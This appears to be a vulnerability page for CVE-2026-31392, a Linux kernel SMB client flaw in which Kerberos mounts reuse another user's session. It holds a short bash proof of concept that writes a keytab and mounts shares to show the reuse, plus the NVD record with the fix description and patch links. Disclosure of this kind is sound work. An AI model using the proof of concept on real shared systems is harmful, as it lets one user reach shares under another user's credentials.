CVE-2026-31392

#!/bin/bash # Description: PoC for CVE-2026-31392 # Add a valid user 'testuser' to keytab ktutil <<EOF add_entry -password -p testuser -k 1 -e aes256-cts {password} write_kt /etc/krb5.keytab quit EOF # Mount with valid user 'testuser' mount.cifs //server/share /mnt/1 -o sec=krb5,username=testuser # Attempt to mount with non-existent user 'foobar' # Expected: Fail with -ENOKEY # Actual (Vulnerable): Reuses session from /mnt/1, succeeds mount.cifs //server/share /mnt/2 -o sec=krb5,username=foobar # Verify the issue mount -t cifs | grep username

{"cve": {"id": "CVE-2026-31392", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-03T16:16:37.300", "lastModified": "2026-04-27T14:16:35.347", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: fix krb5 mount with username option\n\nCustomer reported that some of their krb5 mounts were failing against\na single server as the client was trying to mount the shares with\nwrong credentials. It turned out the client was reusing SMB session\nfrom first mount to try mounting the other shares, even though a\ndifferent username= option had been specified to the other mounts.\n\nBy using username mount option along with sec=krb5 to search for\nprincipals from keytab is supported by cifs.upcall(8) since\ncifs-utils-4.8. So fix this by matching username mount option in\nmatch_session() even with Kerberos.\n\nFor example, the second mount below should fail with -ENOKEY as there\nis no 'foobar' principal in keytab (/etc/krb5.keytab). The client\nends up reusing SMB session from first mount to perform the second\none, which is wrong.\n\n```\n$ ktutil\nktutil: add_entry -password -p testuser -k 1 -e aes256-cts\nPassword for [email protected]:\nktutil: write_kt /etc/krb5.keytab\nktutil: quit\n$ klist -ke\nKeytab name: FILE:/etc/krb5.keytab\nKVNO Principal\n ---- ----------------------------------------------------------------\n 1 [email protected] (aes256-cts-hmac-sha1-96)\n$ mount.cifs //w22-root2/scratch /mnt/1 -o sec=krb5,username=testuser\n$ mount.cifs //w22-root2/scratch /mnt/2 -o sec=krb5,username=foobar\n$ mount -t cifs | grep -Po 'username=\\K\\w+'\ntestuser\ntestuser\n```"}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:L", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.5, "impactScore": 6.0}]}, "references": [{"url": "https://git.kernel.org/stable/c/12b4c5d98cd7ca46d5035a57bcd995df614c14e1", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/6e9ff1eb7feedcf46ff2d0503759960ab58e7775", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/9229709ec8bf85ae7ca53aeee9aa14814cdc1bd2", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/9ee803bfdba0cf739038dbdabdd4c02582c8f2b2", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/d33cbf0bf8979d779900da9be2505d68d9d8da25", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/fd4547830720647d4af02ee50f883c4b1cca06e4", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}]}}